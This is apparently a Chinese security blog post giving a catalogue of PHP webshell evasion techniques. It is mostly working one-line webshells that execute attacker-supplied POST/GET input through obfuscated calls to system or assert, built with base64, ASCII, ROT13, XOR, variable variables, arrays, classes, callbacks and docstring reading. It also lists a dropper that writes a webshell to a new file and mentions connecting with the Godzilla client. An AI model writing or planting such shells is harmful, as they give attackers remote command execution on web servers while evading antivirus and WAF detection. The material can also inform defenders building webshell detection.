網絡安全領域各種資源,學習文檔,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具,歡迎關注。
目錄
webshell免殺思路
PHP免殺原理
webshell免殺測試:
webshell免殺繞過方法:
編碼繞過:
可變變量繞過
數組繞過
類繞過
多姿勢配合免殺
webshell免殺思路
分析統計內容(傳統):可以結合字符黑名單和函數黑名單或者其他特征列表(例如代碼片段的Hash特征表),之后通過對文件信息熵、元字符、特殊字符串頻率等統計方式發現WebShell。
語義分析(AST):把代碼轉換成AST語法樹,之后可以對一些函數進行調試追蹤,那些混淆或者變形過的webshell基本都能被檢測到。但是對于PHP這種動態特性很多的語言,檢測就比較吃力,AST是無法了解語義的。
機器學習(AI):這種方法需要大量的樣本數據,通過一些AI自動學習模型,總結歸類Webshell的特征庫,最終去檢測Webshell。
動態監控(沙箱):采用RASP方式,一旦檢測到有對應腳本運行,就去監控(Hook)里邊一些危險函數,一但存在調用過程將會立刻阻止。這種阻止效果是實時的,這種方法應該是效果最好的,但是成本十分高昂。PHP免殺原理
通過PHP語言的動態特性,靈活利用各種PHP函數和特性,混淆和變形中間兩部分內容,從而達到免殺
注意點:
eval() 高危函數
eval() 不能作為函數名動態執行代碼,官方說明如下:eval 是一個語言構造器而不是一個函數,不能被可變函數調用可變函數:通過一個變量獲取其對應的變量值,然后通過給該值增加一個括號 (),讓系統認為該值是一個函數,從而當做函數來執行
人話:eval() 函數不能通過拼接、混淆來進行執行,只能通過明文直接寫入
assert() 高危函數
在PHP7 中, assert () 也不再是函數了,變成了一個語言結構(類似于 eval),不能再作為函數名動態執行代碼,所以利用起來稍微復雜一點,這個感興趣可以自行了解即可所以在WebShell免殺這塊,我還是更喜歡用? system() 高危函數,以下很多案例都是使用? system() 來最終執行的
webshell免殺測試:
淵龍Sec團隊導航(上面啥都有): https://dh.aabyss.cn/
VirusTotal: https://www.virustotal.com/gui/home/upload
河馬WebShell查殺: https://n.shellpub.com/
微步在線云沙箱: https://s.threatbook.com/
百度WEBDIR+: https://scanner.baidu.com/
長亭牧云查殺: https://stack.chaitin.com/security-challenge/webshell/index
阿里伏魔引擎: https://xz.aliyun.com/zues
D盾: http://www.d99net.net/
網站安全狗: http://free.safedog.cn/website_safedog.htmlwebshell免殺繞過方法:
編碼繞過:
(可以繞過waf檢測、早期免殺方法)
??? 可以考慮一些比較冷門的編碼方式,或者寫一個類似于凱撒密碼的加密函數,來對WAF進行ByPass
?Base64編碼??<?php$f = base64_decode("YX____Nz__ZX__J0"); //解密后為assert高危函數$f($_POST[aabyss]); //assert($_POST[aabyss]);?>
?ASCII編碼
<?php//ASCII編碼解密后為assert高危函數$f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);$f($_POST['aabyss']); //assert($_POST['aabyss']);?>
?ROT13編碼
$f = str_rot13('flfgrz'); //解密后為system高危函數$f($_POST['aabyss']); //system($_POST['aabyss']);
??? Gzip壓縮加密(畸形免殺)
??????? https://blog.zgsec.cn/index.php/archives/147/
字符串混淆處理繞過:
??? 將system高危函數內容的拼接、混淆以及變換,來繞過waf檢測??function confusion($a){$s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm'];$tmp = "";while ($a>10) {$tmp .= $s[$a%10];$a = $a/10;}return $tmp.$s[$a];}$f = confusion(976534); //sysTem(高危函數)$f($_POST['aabyss']); //sysTem($_POST['aabyss']);
自定義函數+文件名混淆
??????? 先建一個PHP名字為 976534.php,然后下面的代碼:??function confusion($a){$s = ['a','t','s', 'y', 'm', 'e', '/'];$tmp = "";while ($a>10) {$tmp .= $s[$a%10];$a = $a/10;}return $tmp.$s[$a];}$f = confusion(intval(substr(__FILE__, -10, 6))); //sysTem(高危函數)//__FILE__為976534.php//substr(__FILE__, -10, 6)即從文件名中提取出976534//confusion(intval(976534))即輸出了sysTem(高危函數),拼接即可$f($_POST['aabyss']); //sysTem($_POST['aabyss']);
????? 首先先讀取文件名,從 976534.php 文件名中提取出 976534 ,然后帶入函數中就成功返還 sysTem 高危函數了,可以配合其他姿勢一起使用,達成免殺效果
??? 特殊字符串
??????? 主要是通過一些特殊的字符串,來干擾到殺軟的正則判斷并執行惡意代碼(各種回車、換行、null和空白字符等)$f = 'hello';$$z = $_POST['aabyss'];eval(``.$hello);
生成新文件繞過
??? PHP本身沒法執行命令,但是運行后可以在同目錄混淆寫入一個WebShell,也是可以進行免殺的???$hahaha = strtr("abatme","me","em"); //$hahaha = abatem$wahaha = strtr($hahaha,"ab","sy"); //$wahaha = system(高危函數)$gogogo = strtr('echo "<?php evqrw$_yKST[AABYSS])?>" > ./out.php',"qrwxyK","al(_PO");//$gogogo = 'echo "<?php eval(_POST[AABYSS])?>" > ./out.php'$wahaha($gogogo); //將一句話木馬內容寫入同目錄下的out.php中
回調函數繞過
??? 通過回調函數,來執行對應的命令call_user_func_array()//ASCII編碼解密后為assert高危函數$f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);call_user_func_array($f, array($_POST['aabyss']));array_map()function fun() {//ASCII編碼解密后為assert高危函數$f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);return ''.$f;}$user = fun(); //拿到assert高危函數$pass =array($_POST['aabyss']);array_map($user,$user = $pass );
回調函數的免殺早早就被WAF盯上了,像這樣單獨使用一般都沒辦法免殺,所以一般都是配合其他手法使用
可變變量繞過
??? 簡單可變變量
??????? 什么叫可變變量呢?看一下具體例子就明白了:?$f = 'hello'; //變量名為f,變量值為Hello$$f = 'AabyssZG'; //變量名為Hello(也就是$f的值),值為AabyssZGecho $hello; //輸出AabyssZG
那要怎么利用這個特性呢?如下:
$f ='hello';$$f = $_POST['aabyss'];eval($hello); //eval($_POST['aabyss']);
數組+變量引用混淆
??????? 上文提到,可以通過 compact 創建一個包含變量名和它們的值的數組??????? 那就可以用 compact 創建一個包含惡意函數和內容的數組,再引用出來拼接成語句即可
$z = "system"; //配合其他姿勢,將system高危函數傳給z$zhixin = &$z;$event = 'hahaha';$result = compact("event", "zhixin"); //通過compact創建數組$z = 'wahaha'; //我將變量z進行修改為'wahaha'$f = $result['zhixin'];$f($_POST['aabyss']); //system($_POST['aabyss']);
根據簡單可變變量學到的內容,可以發現傳入數組后,函數內容被替換是不會影響數組中的內容的
??????? 于是先用變量 zhixin 來引用變量 z 然后通過 compact 創建為數組,接下來再將變量 z 附上新的內容 wahaha ,傳統的WAF追蹤變量的內容時候,就會讓查殺引擎誤以為數組中的值不是 system 而是 wahaha ,從而達到WebShell免殺
數組繞過
先將高危函數部分存儲在數組中,等到時機成熟后提取出來進行拼接
??? 一維數組$f = substr_replace("systxx","em",4); //system(高危函數)$z = array($array = array('a'=>$f($_GET['aabyss'])));var_dump($z);
數組內容如下:??
Array ( [0] => Array ( [a] => assert($_GET['aabyss']) ) )
二維數組
$f = substr_replace("systxx","em",4); //system(高危函數)$z = array($arrayName = ($arrayName = ($arrayName = array('a' => $f($_POST['aabyss'])))));var_dump($z);
類繞過
通過自定義類或者使用已知的類,將惡意代碼放入對應的類中進行執行
??? 單類class Test{public $_1='';function __destruct(){system("$this->a");}}$_2 = new Test;$_2->$_1 = $_POST['aabyss'];
多類
class Test1{public $b ='';function post(){return $_POST['aabyss'];}}class Test2 extends Test1{public $code = null;function __construct(){$code = parent::post();system($code);}}$fff = new Test2;$zzz = new Test1;
嵌套運算繞過
主要通過各種嵌套、異或以及運算來拼裝出來想要的函數,再利用PHP允許動態函數執行的特點,拼接處高危函數名,如 system ,然后動態執行惡意代碼之即可
??? 異或
??? 嵌套運算
傳參繞過
將惡意代碼不寫入文件,而是通過傳參傳入,所以這個比較難以被常規WAF所識別
??? Base64傳參
??????$decrpt = $_REQUEST['a'];$decrps = $_REQUEST['b'];$arrs = explode("|", $decrpt)[1];$arrs = explode("|", base64_decode($arrs));$arrt = explode("|", $decrps)[1];$arrt = explode("|", base64_decode($arrt)); call_user_func($arrs[0],$arrt[0]);
傳參內容:
???
a=c3lzdGVt //system的base64加密 b=d2hvYW1p //whoami的base64加密
也可以嘗試使用其他編碼或者加密方式進行傳參
??? 函數構造傳參
??????? 可以用一些定義函數的函數來進行傳參繞過,比如使用 register_tick_function() 這個函數register_tick_function ( callable $function [, mixed $... ] ) : bool例子如下:$f = $_REQUEST['f'];declare(ticks=1);register_tick_function ($f, $_REQUEST['aabyss']);
自定義函數繞過
通過自定義函數,將惡意代碼內容隱藏于自定義函數當中,再進行拼接執行
??? 簡單自定義函數
??? 讀取已定義函數
讀取字符串繞過
重點還是放在高危函數上,通過讀取各種東西來獲得對應字符串
??? 讀取注釋
??????? 這里用到讀取注釋的函數??????? ReflectionClass::getDocComment
??????? 例子如下:???????
/** * system($_GET[aabyss]);*/ class User { } $user = new ReflectionClass('User');$comment = $user->getDocComment();$f = substr($comment , 14 , 22);eval($f);
讀取數據庫
??????? 可以通過 file_put_contents 文件寫入函數寫入一個Sqlite的數據庫??????? $datatest = "[文件的base64編碼]";
??????? file_put_contents('./要寫入的文件名', base64_decode($datatest));
??????? 然后通過PHP讀取數據庫內容提取高危函數,從而達到WebShell免殺效果讀取目錄
??????? FilesystemIterator 是一個迭代器,可以獲取到目標目錄下的所有文件信息??????? public FilesystemIterator::next ( void ) : void
??????? 可以嘗試使用 file_put_contents 寫入一個名為 system.aabyss 的空文件,然后遍歷目錄拿到字符串 system ,成功ByPass
??????? 為什么要寫入為 system.aabyss 這個文件名呢,因為特殊后綴能讓代碼快速鎖定文件,不至于提取文件名提取到其他文件了多姿勢配合免殺
??? 剛開始看這個樣例我還是挺驚訝的,仔細分析了一波,發現還是挺簡單的,但重在思路
??? 這個樣例使用了異或+變換參數的手法,成功規避了正則匹配式,具有實戰意義
??? <?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);
??? 這時候,就可以執行GET傳參:?_=system&__=whoami 來執行whoami命令??? 由8.1講到PHP中如何異或,我們就先把最前面這部分拆出來看看
??? <?=~$_='$<>/'^'{{{{';
??? //即 '$<>/' ^ '{{{{'
??? //即 "$<>/" 這部分字符串與后面 "{{{{" 這部分字符串異或
??? 所以由我們前面所學的知識,加上自己動手實踐一下,可以發現異或結果為 _GET??? 所以整個PHP語句解密后,再將 _ 替換為 a,將 __ 替換為 b,則原PHP轉化為:
??? $_GET['a']($_GET['b'])
??? 當我們給 a 傳 system,給 b 傳 whoami,原式就會變成這樣??? system('whoami');
??? 既然上面的代碼你看懂了,那不妨看一下下面魔改的代碼:??? <?=~$_='$<>/'^'{{{{';$___='$+4(/' ^ '{{{{{';@${$_}[_](@${$___}[__]);
??? 直接用 Godzilla 哥斯拉來連接
??????? XXX/run.php?_=assert
??? 當然這里使用到 assert 高危函數,只能用于 php 在 5.* 的版本,相關姿勢讀者不妨自行拓展一下哈哈~